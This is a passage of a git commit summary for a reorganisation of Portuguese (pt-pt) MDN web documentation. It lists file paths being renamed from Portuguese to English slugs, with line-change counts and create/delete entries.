.../api/document/getelementsbyclassname/index.html | 69 + .../pt-pt/web/api/document_object_model/index.html | 501 +++ .../using_the_w3c_dom_level_1_core/index.html | 79 + files/pt-pt/web/api/element/clientleft/index.html | 47 + files/pt-pt/web/api/element/clienttop/index.html | 38 + files/pt-pt/web/api/element/index.html | 573 +++ .../web/api/eventos_de_luz_ambiente/index.html | 70 - .../api/file_and_directory_entries_api/index.html | 191 + files/pt-pt/web/api/filesystem/index.html | 54 + .../utilizacao_da_geolocalizacao/index.html | 242 -- files/pt-pt/web/api/geolocation_api/index.html | 242 ++ files/pt-pt/web/api/media_streams_api/index.html | 211 + files/pt-pt/web/api/metadados/index.html | 116 - files/pt-pt/web/api/metadata/index.html | 116 + .../eventos_online_e_offline/index.html | 97 - .../online_and_offline_events/index.html | 97 + files/pt-pt/web/api/node/appendchild/index.html | 31 + files/pt-pt/web/api/node/clonenode/index.html | 55 + files/pt-pt/web/api/node/insertbefore/index.html | 60 + .../using_the_notifications_api/index.html | 289 ++ .../index.html" | 289 -- files/pt-pt/web/api/selection/index.html | 76 + .../pt-pt/web/api/sistema_de_ficheiros/index.html | 54 - files/pt-pt/web/api/storage_api/index.html | 128 + .../web_audio_api/using_web_audio_api/index.html | 259 ++ .../utilizar_api_audio_web/index.html | 259 -- .../web/api/web_authentication_api/index.html | 149 + files/pt-pt/web/api/web_storage_api/index.html | 108 + .../web_workers_api/using_web_workers/index.html | 1091 ++++++ .../utilizacao_de_web_workers/index.html | 1091 ------ .../pt-pt/web/api/webgl_api/constantes/index.html | 4023 -------------------- files/pt-pt/web/api/webgl_api/constants/index.html | 4023 ++++++++++++++++++++ files/pt-pt/web/api/webgl_api/dados/index.html | 133 - files/pt-pt/web/api/webgl_api/data/index.html | 133 + files/pt-pt/web/api/webgl_api/tipos/index.html | 242 -- files/pt-pt/web/api/webgl_api/types/index.html | 242 ++ .../web/api/webgl_api/using_extensions/index.html | 718 ++++ .../utilizar_extens\303\265es/index.html" | 718 ---- files/pt-pt/web/api/webrtc_api/index.html | 287 ++ .../api/webrtc_api/taking_still_photos/index.html | 222 ++ .../index.html" | 180 - .../escrever_servidores_de_websocket/index.html | 257 -- .../escrever_um_servidor_websocket_em_c/index.html | 441 --- .../index.html | 220 -- .../writing_a_websocket_server_in_java/index.html | 220 ++ .../index.html | 180 + .../writing_websocket_server/index.html | 441 +++ .../writing_websocket_servers/index.html | 257 ++ .../pt-pt/web/api/window/barra_lateral/index.html | 60 - files/pt-pt/web/api/window/sidebar/index.html | 60 + files/pt-pt/web/componentes_web/index.html | 226 -- files/pt-pt/web/css/_colon_after/index.html | 34 - files/pt-pt/web/css/_colon_before/index.html | 63 - files/pt-pt/web/css/_doublecolon_after/index.html | 34 + files/pt-pt/web/css/_doublecolon_before/index.html | 63 + .../web/css/alternative_style_sheets/index.html | 23 + .../web/css/como_come\303\247ar/caixas/index.html" | 359 -- .../cascata_e_heran\303\247a/index.html" | 135 - .../como_o_css_trabalha/index.html" | 130 - .../conte\303\272do/index.html" | 188 - .../web/css/como_come\303\247ar/cor/index.html" | 341 -- .../css_leg\303\255vel/index.html" | 188 - .../disposi\303\247\303\243o/index.html" | 453 --- .../estilos_de_texto/index.html" | 158 - .../gr\303\241ficos_svg/index.html" | 215 -- .../pt-pt/web/css/como_come\303\247ar/index.html" | 92 - .../css/como_come\303\247ar/javascript/index.html" | 160 - .../web/css/como_come\303\247ar/listas/index.html" | 362 -- .../como_come\303\247ar/m\303\255dia/index.html" | 433 --- .../o_que_\303\251_css/index.html" | 135 - .../o_que_\303\251_css_question_/index.html" | 94 - .../porque_usar_css/index.html" | 111 - .../css/como_come\303\247ar/seletores/index.html" | 208 - .../css/como_come\303\247ar/tabelas/index.html" | 655 ---- .../web/css/consulta_de_m\303\255dia/index.html" | 436 --- files/pt-pt/web/css/consultas_de_media/index.html | 110 - .../web/css/css_background_and_borders/index.html | 155 - .../m\303\272ltiplos_planos_de_fundo/index.html" | 58 - .../web/css/css_backgrounds_and_borders/index.html | 155 + .../using_multiple_backgrounds/index.html | 58 + .../introducao_modelo_caixa_css/index.html | 69 - .../introduction_to_the_css_box_model/index.html | 69 + .../css/css_colors/color_picker_tool/index.html | 3243 ++++++++++++++++ .../css_colors/ferramenta_selecao_cor/index.html | 3243 ---------------- .../aligning_items_in_a_flex_container/index.html | 215 ++ .../index.html | 215 -- .../index.html | 143 - .../ordenacao_dos_itens_flex/index.html | 140 - .../ordering_flex_items/index.html | 140 + .../index.html | 125 + .../index.html" | 125 - .../typical_use_cases_of_flexbox/index.html | 143 + files/pt-pt/web/css/css_grid_layout/index.html | 250 ++ files/pt-pt/web/css/css_tipos/index.html | 65 - .../css_transforms/using_css_transforms/index.html | 34 + files/pt-pt/web/css/css_types/index.html | 65 + .../css/folhas_de_estilo_alternativas/index.html | 23 - files/pt-pt/web/css/gap/index.html | 178 + files/pt-pt/web/css/grid-gap/index.html | 178 - .../pt-pt/web/css/layout_de_grelha_css/index.html | 250 -- files/pt-pt/web/css/media_queries/index.html | 110 + .../media_queries/using_media_queries/index.html | 436 +++ .../web/css/m\303\251dia_paginada/index.html" | 19 - files/pt-pt/web/css/paged_media/index.html | 19 + files/pt-pt/web/css/pseudo-classes/index.html | 165 + files/pt-pt/web/css/pseudo-elements/index.html | 104 + files/pt-pt/web/css/pseudoclasses/index.html | 165 - files/pt-pt/web/css/pseudoelementos/index.html | 104 - files/pt-pt/web/css/reference/index.html | 171 + .../web/css/refer\303\252ncia_css/index.html" | 171 - .../index.html" | 34 - files/pt-pt/web/eventos/index.html | 3080 --------------- files/pt-pt/web/events/index.html | 3080 +++++++++++++++ files/pt-pt/web/guide/ajax/community/index.html | 22 + .../web/guide/ajax/como_come\303\247ar/index.html" | 305 -- files/pt-pt/web/guide/ajax/comunidade/index.html | 22 - .../web/guide/ajax/getting_started/index.html | 305 ++ files/pt-pt/web/guide/eventos/index.html | 133 - files/pt-pt/web/guide/events/index.html | 133 + files/pt-pt/web/guide/graphics/index.html | 50 + "files/pt-pt/web/guide/gr\303\241ficos/index.html" | 50 - .../guide/html/categorias_de_conteudo/index.html | 175 - .../web/guide/html/content_categories/index.html | 175 + .../web/guide/html/html5/html5_parser/index.html | 58 + files/pt-pt/web/guide/html/html5/index.html | 169 + .../html/html5/introduction_to_html5/index.html | 20 + .../using_html_sections_and_outlines/index.html | 343 ++ .../index.html | 343 -- .../index.html | 581 --- files/pt-pt/web/html/applying_color/index.html | 581 +++ files/pt-pt/web/html/atributos/index.html | 659 ---- files/pt-pt/web/html/atributos/rel/index.html | 418 -- files/pt-pt/web/html/atributos_globais/index.html | 480 --- .../web/html/attributes/crossorigin/index.html | 87 + files/pt-pt/web/html/attributes/index.html | 659 ++++ files/pt-pt/web/html/attributes/rel/index.html | 418 ++ .../web/html/cors_settings_attributes/index.html | 87 - files/pt-pt/web/html/element/audio/index.html | 47 + files/pt-pt/web/html/element/fieldset/index.html | 177 + files/pt-pt/web/html/element/figcaption/index.html | 101 + files/pt-pt/web/html/element/figure/index.html | 56 + files/pt-pt/web/html/element/head/index.html | 108 + files/pt-pt/web/html/element/index.html | 107 + files/pt-pt/web/html/element/nav/index.html | 99 + files/pt-pt/web/html/element/progress/index.html | 128 + files/pt-pt/web/html/element/video/index.html | 69 + files/pt-pt/web/html/elemento/audio/index.html | 47 - files/pt-pt/web/html/elemento/fieldset/index.html | 177 - .../pt-pt/web/html/elemento/figcaption/index.html | 101 - files/pt-pt/web/html/elemento/head/index.html | 108 - files/pt-pt/web/html/elemento/index.html | 107 - files/pt-pt/web/html/elemento/nav/index.html | 99 - files/pt-pt/web/html/elemento/progress/index.html | 128 - files/pt-pt/web/html/elemento/video/index.html | 69 - files/pt-pt/web/html/global_attributes/index.html | 480 +++ .../pt-pt/web/html/html5/forms_no_html5/index.html | 72 - files/pt-pt/web/html/html5/index.html | 169 - .../introdu\303\247\303\243o_ao_html5/index.html" | 20 - files/pt-pt/web/html/html5/parser_html5/index.html | 58 - files/pt-pt/web/html/link_types/index.html | 608 +++ files/pt-pt/web/html/reference/index.html | 27 + files/pt-pt/web/html/referencia/index.html | 27 - .../web/html/tipos_de_hiperligacao/index.html | 608 --- .../html/using_the_application_cache/index.html | 342 ++ .../html/utilizar_a_cache_de_aplicacao/index.html | 342 -- .../web/javascript/data_structures/index.html | 297 ++ .../web/javascript/estruturas_de_dados/index.html | 297 -- .../pt-pt/web/javascript/gestao_memoria/index.html | 187 - .../guia/detalhes_do_modelo_de_objeto/index.html | 735 ---- .../guia/expressoes_e_operadores/index.html | 832 ---- .../guia/gram\303\241tica_e_tipos/index.html" | 641 ---- files/pt-pt/web/javascript/guia/index.html | 123 - .../guia/introdu\303\247\303\243o/index.html" | 137 - .../index.html" | 47 - files/pt-pt/web/javascript/guia/sobre/index.html | 166 - .../index.html" | 547 --- .../guide/details_of_the_object_model/index.html | 735 ++++ .../javascript/guide/grammar_and_types/index.html | 641 ++++ files/pt-pt/web/javascript/guide/index.html | 123 + .../web/javascript/guide/introduction/index.html | 137 + .../web/javascript/memory_management/index.html | 187 + .../o_que_\303\251_o_javascript/index.html" | 13 - .../web/javascript/reference/about/index.html | 52 + .../deprecated_and_obsolete_features/index.html | 289 ++ .../index.html" | 113 - .../errors/unnamed_function_statement/index.html | 113 + .../bloco/index.html" | 116 - .../for/index.html" | 145 - .../index.html" | 150 - .../return/index.html" | 148 - .../throw/index.html" | 271 -- .../reference/funcionalidades_obsoletas/index.html | 289 -- .../reference/funcoes/arguments/index.html | 228 -- .../reference/funcoes/funcoes_seta/index.html | 399 -- .../web/javascript/reference/funcoes/index.html | 594 --- .../reference/funcoes/parametros_rest/index.html | 234 -- .../reference/functions/arguments/index.html | 228 ++ .../reference/functions/arrow_functions/index.html | 399 ++ .../web/javascript/reference/functions/index.html | 594 +++ .../reference/functions/rest_parameters/index.html | 234 ++ .../asyncfunction/prototype/index.html | 55 - .../global_objects/number/prototype/index.html | 131 - .../global_objects/object/prototype/index.html | 199 - .../operadores/fun\303\247\303\243o/index.html" | 139 - .../web/javascript/reference/operadores/index.html | 309 -- .../operadores/operador_virgula/index.html | 94 - .../operadores/precedencia_operador/index.html | 461 --- .../reference/operators/comma_operator/index.html | 94 + .../reference/operators/function/index.html | 139 + .../web/javascript/reference/operators/index.html | 309 ++ .../operators/operator_precedence/index.html | 461 +++ .../web/javascript/reference/sobre/index.html | 52 - .../reference/statements/block/index.html | 116 + .../javascript/reference/statements/for/index.html | 145 + .../web/javascript/reference/statements/index.html | 150 + .../reference/statements/return/index.html | 148 + .../reference/statements/throw/index.html | 271 ++ files/pt-pt/web/javascript/shells/index.html | 29 + .../pt-pt/web/mathml/attribute/valores/index.html | 153 - files/pt-pt/web/mathml/attribute/values/index.html | 153 + .../derivar_a_formula_resolvente/index.html | 17 - .../deriving_the_quadratic_formula/index.html | 17 + .../examples/mathml_pythagorean_theorem/index.html | 19 + .../mathml_teorema_de_pitagoras/index.html | 19 - files/pt-pt/web/opensearch/index.html | 148 + .../developer_guide/index.html | 77 + .../guia_de_programacao/index.html | 77 - .../progressive_web_apps/identificavel/index.html | 62 - .../responsive/media_types/index.html | 433 +++ .../responsive_design_building_blocks/index.html | 428 +++ .../elementos_base_desenho_adaptavel/index.html | 428 --- .../web/progressive_web_apps/responsivo/index.html | 156 - .../web/progressive_web_apps/seguro/index.html | 35 - files/pt-pt/web/security/conteudo_misto/index.html | 80 - files/pt-pt/web/security/index.html | 16 + .../web/security/insecure_passwords/index.html | 157 + .../index.html | 30 - .../index.html | 30 + files/pt-pt/web/security/mixed_content/index.html | 80 + .../web/security/same-origin_policy/index.html | 263 ++ files/pt-pt/web/seguranca/index.html | 16 - .../seguranca/palavras-passe_inseguras/index.html | 157 - .../web/seguranca/same-origin_policy/index.html | 263 -- .../aplicar_efeitos_svg_conteudo_html/index.html | 301 -- .../index.html | 301 ++ .../svg/namespaces_crash_course/example/index.html | 394 ++ .../svg/namespaces_crash_course/exemplo/index.html | 394 -- .../pt-pt/web/svg/svg_animacao_com_smil/index.html | 125 - .../web/svg/svg_animation_with_smil/index.html | 125 + files/pt-pt/web/svg/tutorial/introducao/index.html | 52 - .../pt-pt/web/svg/tutorial/introduction/index.html | 52 + .../pt-pt/web/svg/tutorial/svg_and_css/index.html | 215 ++ .../tutorial/svg_in_html_introduction/index.html | 179 + .../svg/tutorial/svg_na_introducao_html/index.html | 179 - files/pt-pt/web/tutoriais/index.html | 252 -- files/pt-pt/web/tutorials/index.html | 252 ++ files/pt-pt/web/web_components/index.html | 226 ++ files/pt-pt/web/webapi/index.html | 214 -- files/pt-pt/web/xml/introducao_a_xml/index.html | 204 - files/pt-pt/web/xml/xml_introduction/index.html | 204 + files/pt-pt/web/xslt/comunidade/index.html | 8 - files/pt-pt/web/xslt/elementos/index.html | 59 - .../using_the_javascript_api/index.html | 257 ++ .../utilizar_api_javascript_webassembly/index.html | 257 -- .../pt-pt/xforms/controles_customizados/index.html | 272 -- files/pt-pt/xforms/index.html | 68 - .../pt-pt/xforms_especiais_para_mozilla/index.html | 92 - files/pt-pt/xhtml/index.html | 169 - files/pt-pt/xml_no_mozilla/index.html | 236 -- files/pt-pt/xmlhttprequest/index.html | 23 - files/pt-pt/xpath/eixos/index.html | 44 - .../pt-pt/xpath/fun\303\247\303\265es/index.html" | 47 - 878 files changed, 75363 insertions(+), 75363 deletions(-) delete mode 100644 "files/pt-pt/acentua\303\247\303\243o_para_conte\303\272dos_carregados_por_ajax/index.html" delete mode 100644 "files/pt-pt/atualizando_extens\303\265es_para_o_firefox_3.5/index.html" delete mode 100644 "files/pt-pt/atualizando_extens\303\265es_para_o_firefox_3/index.html" delete mode 100644 files/pt-pt/componentes/index.html delete mode 100644 "files/pt-pt/configurando_um_servidor_de_atualiza\303\247\303\243o/index.html" create mode 100644 files/pt-pt/conflicting/glossary/api/index.html create mode 100644 files/pt-pt/conflicting/learn/css/first_steps/how_css_works/index.html create mode 100644 files/pt-pt/conflicting/learn/css/first_steps/how_css_works_0767812f50daab83155d62da97c6e460/index.html create mode 100644 files/pt-pt/conflicting/mdn/contribute/index.html create mode 100644 files/pt-pt/conflicting/web/api/index.html create mode 100644 files/pt-pt/conflicting/web/api/web_storage_api/index.html create mode 100644 files/pt-pt/conflicting/web/api/xmlhttprequest/index.html create mode 100644 files/pt-pt/conflicting/web/javascript/reference/global_objects/number/index.html create mode 100644 files/pt-pt/conflicting/web/javascript/reference/global_objects/object/index.html create mode 100644 files/pt-pt/conflicting/web/progressive_web_apps/index.html create mode 100644 files/pt-pt/conflicting/web/progressive_web_apps/responsive/responsive_design_building_blocks/index.html create mode 100644 files/pt-pt/conflicting/web/progressive_web_apps_c5ce9d8c3500409dbf6f879e4fe3cb8a/index.html delete mode 100644 "files/pt-pt/construir_uma_extens\303\243o/index.html" delete mode 100644 files/pt-pt/controles_xul/index.html delete mode 100644 files/pt-pt/criando_plugins_opensearch_para_o_firefox/index.html delete mode 100644 files/pt-pt/criando_um_visual_para_o_firefox/index.html delete mode 100644 files/pt-pt/criar_uma_pele_para_o_firefox/index.html delete mode 100644 files/pt-pt/desenhando_texto_usando_canvas/index.html delete mode 100644 files/pt-pt/dhtml/index.html delete mode 100644 files/pt-pt/dom/document.alinkcolor/index.html delete mode 100644 files/pt-pt/dom/document.bgcolor/index.html delete mode 100644 files/pt-pt/dom/document.cookie/index.html delete mode 100644 files/pt-pt/dom/document.getelementsbyclassname/index.html delete mode 100644 files/pt-pt/dom/dom_reference/index.html delete mode 100644 files/pt-pt/dom/element.appendchild/index.html delete mode 100644 files/pt-pt/dom/element.clientleft/index.html delete mode 100644 files/pt-pt/dom/element.clienttop/index.html delete mode 100644 files/pt-pt/dom/element.clonenode/index.html delete mode 100644 files/pt-pt/dom/element.insertbefore/index.html delete mode 100644 files/pt-pt/dom/element/index.html delete mode 100644 files/pt-pt/dom/selection/index.html delete mode 100644 files/pt-pt/dom/storage/index.html delete mode 100644 files/pt-pt/dom_inspector/index.html delete mode 100644 files/pt-pt/dom_inspector/introduction_to_dom_inspector/index.html delete mode 100644 "files/pt-pt/faq_extens\303\265es/index.html" delete mode 100644 files/pt-pt/firefox_1.5_para_desenvolvedores/index.html delete mode 100644 files/pt-pt/firefox_2_para_desenvolvedores/index.html delete mode 100644 files/pt-pt/firefox_3.5_para_desenvolvedores/index.html delete mode 100644 files/pt-pt/firefox_3.6_para_desenvolvedores/index.html delete mode 100644 files/pt-pt/firefox_3_para_desenvolvedores/index.html delete mode 100644 files/pt-pt/firefox_4_para_desenvolvedores/index.html delete mode 100644 files/pt-pt/firefox_5_para_desenvolvedores/index.html delete mode 100644 files/pt-pt/firefox_6_para_desenvolvedores/index.html create mode 100644 files/pt-pt/games/index.html create mode 100644 files/pt-pt/games/tutorials/index.html create mode 100644 files/pt-pt/glossary/404/index.html create mode 100644 files/pt-pt/glossary/502/index.html create mode 100644 files/pt-pt/glossary/accessibility/index.html create mode 100644 files/pt-pt/glossary/ajax/index.html create mode 100644 files/pt-pt/glossary/argument/index.html create mode 100644 files/pt-pt/glossary/aria/index.html create mode 100644 files/pt-pt/glossary/bigint/index.html create mode 100644 files/pt-pt/glossary/block_cipher_mode_of_operation/index.html create mode 100644 files/pt-pt/glossary/boolean/index.html create mode 100644 files/pt-pt/glossary/browser/index.html create mode 100644 files/pt-pt/glossary/cache/index.html create mode 100644 files/pt-pt/glossary/cia/index.html create mode 100644 files/pt-pt/glossary/compile/index.html create mode 100644 files/pt-pt/glossary/crlf/index.html create mode 100644 files/pt-pt/glossary/cross_axis/index.html create mode 100644 files/pt-pt/glossary/crud/index.html create mode 100644 files/pt-pt/glossary/dhtml/index.html create mode 100644 files/pt-pt/glossary/dom/index.html create mode 100644 files/pt-pt/glossary/ecma/index.html create mode 100644 files/pt-pt/glossary/element/index.html create mode 100644 files/pt-pt/glossary/engine/index.html create mode 100644 files/pt-pt/glossary/entity_header/index.html create mode 100644 files/pt-pt/glossary/favicon/index.html create mode 100644 files/pt-pt/glossary/flexbox/index.html create mode 100644 files/pt-pt/glossary/git/index.html create mode 100644 files/pt-pt/glossary/gzip_compression/index.html create mode 100644 files/pt-pt/glossary/html/index.html create mode 100644 files/pt-pt/glossary/hypertext/index.html create mode 100644 files/pt-pt/glossary/iana/index.html create mode 100644 files/pt-pt/glossary/idempotent/index.html create mode 100644 files/pt-pt/glossary/index.html create mode 100644 files/pt-pt/glossary/indexeddb/index.html create mode 100644 files/pt-pt/glossary/isp/index.html create mode 100644 files/pt-pt/glossary/lazy_load/index.html create mode 100644 files/pt-pt/glossary/localization/index.html create mode 100644 files/pt-pt/glossary/main_axis/index.html create mode 100644 files/pt-pt/glossary/metadata/index.html create mode 100644 files/pt-pt/glossary/mitm/index.html create mode 100644 files/pt-pt/glossary/node.js/index.html create mode 100644 files/pt-pt/glossary/object/index.html create mode 100644 files/pt-pt/glossary/object_reference/index.html create mode 100644 files/pt-pt/glossary/oop/index.html create mode 100644 files/pt-pt/glossary/ota/index.html create mode 100644 files/pt-pt/glossary/polyfill/index.html create mode 100644 files/pt-pt/glossary/prototype-based_programming/index.html create mode 100644 files/pt-pt/glossary/scm/index.html create mode 100644 files/pt-pt/glossary/server/index.html create mode 100644 files/pt-pt/glossary/signature/index.html create mode 100644 files/pt-pt/glossary/tag/index.html create mode 100644 files/pt-pt/glossary/utf-8/index.html create mode 100644 files/pt-pt/glossary/value/index.html create mode 100644 files/pt-pt/glossary/viewport/index.html create mode 100644 files/pt-pt/glossary/visual_viewport/index.html create mode 100644 files/pt-pt/glossary/webextensions/index.html create mode 100644 files/pt-pt/glossary/webrtc/index.html create mode 100644 files/pt-pt/glossary/webvtt/index.html create mode 100644 files/pt-pt/glossary/whatwg/index.html create mode 100644 files/pt-pt/glossary/world_wide_web/index.html create mode 100644 files/pt-pt/glossary/wrapper/index.html create mode 100644 files/pt-pt/glossary/xhtml/index.html create mode 100644 files/pt-pt/glossary/xml/index.html delete mode 100644 "files/pt-pt/gloss\303\241rio/404/index.html" delete mode 100644 "files/pt-pt/gloss\303\241rio/502/index.html" delete mode 100644 "files/pt-pt/gloss\303\241rio/acessibilidade/index.html" delete mode 100644 "files/pt-pt/gloss\303\241rio/ajax/index.html" delete mode 100644 "files/pt-pt/gloss\303\241rio/api/index.html" delete mode 100644 "files/pt-pt/gloss\303\241rio/argumento/index.html" delete mode 100644 "files/pt-pt/gloss\303\241rio/aria/index.html" delete mode 100644 "files/pt-pt/gloss\303\241rio/assinatura/index.html" delete mode 100644 "files/pt-pt/gloss\303\241rio/bigint/index.html" delete mode 100644 "files/pt-pt/gloss\303\241rio/booliano/index.html" delete mode 100644 "files/pt-pt/gloss\303\241rio/cabe\303\247alho_de_entidade/index.html" delete mode 100644 "files/pt-pt/gloss\303\241rio/cache/index.html" delete mode 100644 "files/pt-pt/gloss\303\241rio/cia/index.html" delete mode 100644 "files/pt-pt/gloss\303\241rio/compilar/index.html" delete mode 100644 "files/pt-pt/gloss\303\241rio/compressao_gzip/index.html" delete mode 100644 "files/pt-pt/gloss\303\241rio/crlf/index.html" delete mode 100644 "files/pt-pt/gloss\303\241rio/crud/index.html" delete mode 100644 "files/pt-pt/gloss\303\241rio/dom/index.html" delete mode 100644 "files/pt-pt/gloss\303\241rio/ecma/index.html" delete mode 100644 "files/pt-pt/gloss\303\241rio/eixo_principal/index.html" delete mode 100644 "files/pt-pt/gloss\303\241rio/eixo_transversal/index.html" delete mode 100644 "files/pt-pt/gloss\303\241rio/elemento/index.html" delete mode 100644 "files/pt-pt/gloss\303\241rio/etiqueta/index.html" delete mode 100644 "files/pt-pt/gloss\303\241rio/extensoes_da_web/index.html" delete mode 100644 "files/pt-pt/gloss\303\241rio/favicon/index.html" delete mode 100644 "files/pt-pt/gloss\303\241rio/flexbox/index.html" delete mode 100644 "files/pt-pt/gloss\303\241rio/gcs/index.html" delete mode 100644 "files/pt-pt/gloss\303\241rio/git/index.html" delete mode 100644 "files/pt-pt/gloss\303\241rio/hipertexto/index.html" delete mode 100644 "files/pt-pt/gloss\303\241rio/html/index.html" delete mode 100644 "files/pt-pt/gloss\303\241rio/iana/index.html" delete mode 100644 "files/pt-pt/gloss\303\241rio/idempotent/index.html" delete mode 100644 "files/pt-pt/gloss\303\241rio/index.html" delete mode 100644 "files/pt-pt/gloss\303\241rio/indexeddb/index.html" delete mode 100644 "files/pt-pt/gloss\303\241rio/isp/index.html" delete mode 100644 "files/pt-pt/gloss\303\241rio/lazy_load/index.html" delete mode 100644 "files/pt-pt/gloss\303\241rio/metadados/index.html" delete mode 100644 "files/pt-pt/gloss\303\241rio/mitm/index.html" delete mode 100644 "files/pt-pt/gloss\303\241rio/modo_de_opera\303\247\303\243o_de_cifra_de_bloco/index.html" delete mode 100644 "files/pt-pt/gloss\303\241rio/motor/index.html" delete mode 100644 "files/pt-pt/gloss\303\241rio/navegador/index.html" delete mode 100644 "files/pt-pt/gloss\303\241rio/node.js/index.html" delete mode 100644 "files/pt-pt/gloss\303\241rio/objeto/index.html" delete mode 100644 "files/pt-pt/gloss\303\241rio/oop/index.html" delete mode 100644 "files/pt-pt/gloss\303\241rio/ota/index.html" delete mode 100644 "files/pt-pt/gloss\303\241rio/polyfill/index.html" delete mode 100644 "files/pt-pt/gloss\303\241rio/prototype-based_programming/index.html" delete mode 100644 "files/pt-pt/gloss\303\241rio/referencia_de_objeto/index.html" delete mode 100644 "files/pt-pt/gloss\303\241rio/servidor/index.html" delete mode 100644 "files/pt-pt/gloss\303\241rio/utf-8/index.html" delete mode 100644 "files/pt-pt/gloss\303\241rio/valor/index.html" delete mode 100644 "files/pt-pt/gloss\303\241rio/viewport/index.html" delete mode 100644 "files/pt-pt/gloss\303\241rio/viewport_visual/index.html" delete mode 100644 "files/pt-pt/gloss\303\241rio/webrtc/index.html" delete mode 100644 "files/pt-pt/gloss\303\241rio/webvtt/index.html" delete mode 100644 "files/pt-pt/gloss\303\241rio/whatwg/index.html" delete mode 100644 "files/pt-pt/gloss\303\241rio/world_wide_web/index.html" delete mode 100644 "files/pt-pt/gloss\303\241rio/wrapper/index.html" delete mode 100644 "files/pt-pt/gloss\303\241rio/xml/index.html" delete mode 100644 files/pt-pt/guia_do_desenvolvedor/index.html delete mode 100644 files/pt-pt/htmltodelete/element/figure/index.html delete mode 100644 "files/pt-pt/java_em_extens\303\265es_do_firefox/index.html" delete mode 100644 files/pt-pt/javascript_orientado_a_objetos/index.html delete mode 100644 files/pt-pt/javascript_shells/index.html delete mode 100644 files/pt-pt/jogos/index.html delete mode 100644 files/pt-pt/jogos/tutoriais/index.html create mode 100644 files/pt-pt/learn/accessibility/index.html delete mode 100644 files/pt-pt/learn/acessibilidade/index.html delete mode 100644 files/pt-pt/learn/comecar_com_a_web/a_web_e_os_padroes_da_web/index.html delete mode 100644 files/pt-pt/learn/comecar_com_a_web/apresentacao_do_meu_site/index.html delete mode 100644 files/pt-pt/learn/comecar_com_a_web/como_funciona_a_web/index.html delete mode 100644 files/pt-pt/learn/comecar_com_a_web/css_basico/index.html delete mode 100644 files/pt-pt/learn/comecar_com_a_web/elementar_de_javascript/index.html delete mode 100644 files/pt-pt/learn/comecar_com_a_web/html_basicos/index.html delete mode 100644 files/pt-pt/learn/comecar_com_a_web/index.html delete mode 100644 files/pt-pt/learn/comecar_com_a_web/installing_basic_software/index.html delete mode 100644 files/pt-pt/learn/comecar_com_a_web/lidar_com_ficheiros/index.html delete mode 100644 files/pt-pt/learn/comecar_com_a_web/publicar_o_seu_site_da_web/index.html create mode 100644 files/pt-pt/learn/common_questions/how_does_the_internet_work/index.html create mode 100644 files/pt-pt/learn/common_questions/index.html create mode 100644 files/pt-pt/learn/common_questions/pages_sites_servers_and_search_engines/index.html create mode 100644 files/pt-pt/learn/common_questions/set_up_a_local_testing_server/index.html create mode 100644 files/pt-pt/learn/common_questions/what_is_a_domain_name/index.html create mode 100644 files/pt-pt/learn/common_questions/what_is_a_url/index.html create mode 100644 files/pt-pt/learn/common_questions/what_is_a_web_server/index.html create mode 100644 files/pt-pt/learn/css/building_blocks/cascade_and_inheritance/index.html create mode 100644 files/pt-pt/learn/css/building_blocks/index.html create mode 100644 files/pt-pt/learn/css/building_blocks/selectors/index.html create mode 100644 files/pt-pt/learn/css/building_blocks/styling_tables/index.html create mode 100644 files/pt-pt/learn/css/building_blocks/values_and_units/index.html create mode 100644 files/pt-pt/learn/css/css_layout/index.html delete mode 100644 files/pt-pt/learn/css/estilo_de_texto/index.html create mode 100644 files/pt-pt/learn/css/first_steps/how_css_is_structured/index.html create mode 100644 files/pt-pt/learn/css/first_steps/how_css_works/index.html create mode 100644 files/pt-pt/learn/css/first_steps/index.html create mode 100644 files/pt-pt/learn/css/howto/css_faq/index.html delete mode 100644 files/pt-pt/learn/css/howto/faq_de_css/index.html create mode 100644 files/pt-pt/learn/css/howto/generated_content/index.html create mode 100644 files/pt-pt/learn/css/styling_text/fundamentals/index.html create mode 100644 files/pt-pt/learn/css/styling_text/index.html create mode 100644 files/pt-pt/learn/css/styling_text/styling_lists/index.html create mode 100644 files/pt-pt/learn/getting_started_with_the_web/css_basics/index.html create mode 100644 files/pt-pt/learn/getting_started_with_the_web/dealing_with_files/index.html create mode 100644 files/pt-pt/learn/getting_started_with_the_web/how_the_web_works/index.html create mode 100644 files/pt-pt/learn/getting_started_with_the_web/html_basics/index.html create mode 100644 files/pt-pt/learn/getting_started_with_the_web/index.html create mode 100644 files/pt-pt/learn/getting_started_with_the_web/installing_basic_software/index.html create mode 100644 files/pt-pt/learn/getting_started_with_the_web/javascript_basics/index.html create mode 100644 files/pt-pt/learn/getting_started_with_the_web/publishing_your_website/index.html create mode 100644 files/pt-pt/learn/getting_started_with_the_web/the_web_and_web_standards/index.html create mode 100644 files/pt-pt/learn/getting_started_with_the_web/what_will_your_website_look_like/index.html delete mode 100644 files/pt-pt/learn/html/como/adicionar_um_mapa_de_zona_clicavel_numa_imagem/index.html delete mode 100644 files/pt-pt/learn/html/como/index.html create mode 100644 files/pt-pt/learn/html/howto/add_a_hit_map_on_top_of_an_image/index.html create mode 100644 files/pt-pt/learn/html/howto/index.html delete mode 100644 files/pt-pt/learn/html/introducao_ao_html/criar_hiperligacoes/index.html delete mode 100644 files/pt-pt/learn/html/introducao_ao_html/demarcar_uma_carta/index.html delete mode 100644 files/pt-pt/learn/html/introducao_ao_html/depurar_html/index.html delete mode 100644 files/pt-pt/learn/html/introducao_ao_html/estrutura_documento_website/index.html delete mode 100644 files/pt-pt/learn/html/introducao_ao_html/estruturar_pagina_de_conteudo/index.html delete mode 100644 files/pt-pt/learn/html/introducao_ao_html/formatacao_avancada_texto/index.html delete mode 100644 files/pt-pt/learn/html/introducao_ao_html/index.html delete mode 100644 files/pt-pt/learn/html/introducao_ao_html/iniciacao_html/index.html delete mode 100644 files/pt-pt/learn/html/introducao_ao_html/os_metadados_de_head_em_html/index.html create mode 100644 files/pt-pt/learn/html/introduction_to_html/advanced_text_formatting/index.html create mode 100644 files/pt-pt/learn/html/introduction_to_html/creating_hyperlinks/index.html create mode 100644 files/pt-pt/learn/html/introduction_to_html/debugging_html/index.html create mode 100644 files/pt-pt/learn/html/introduction_to_html/document_and_website_structure/index.html create mode 100644 files/pt-pt/learn/html/introduction_to_html/getting_started/index.html create mode 100644 files/pt-pt/learn/html/introduction_to_html/index.html create mode 100644 files/pt-pt/learn/html/introduction_to_html/marking_up_a_letter/index.html create mode 100644 files/pt-pt/learn/html/introduction_to_html/structuring_a_page_of_content/index.html create mode 100644 files/pt-pt/learn/html/introduction_to_html/the_head_metadata_in_html/index.html create mode 100644 files/pt-pt/learn/html/multimedia_and_embedding/index.html create mode 100644 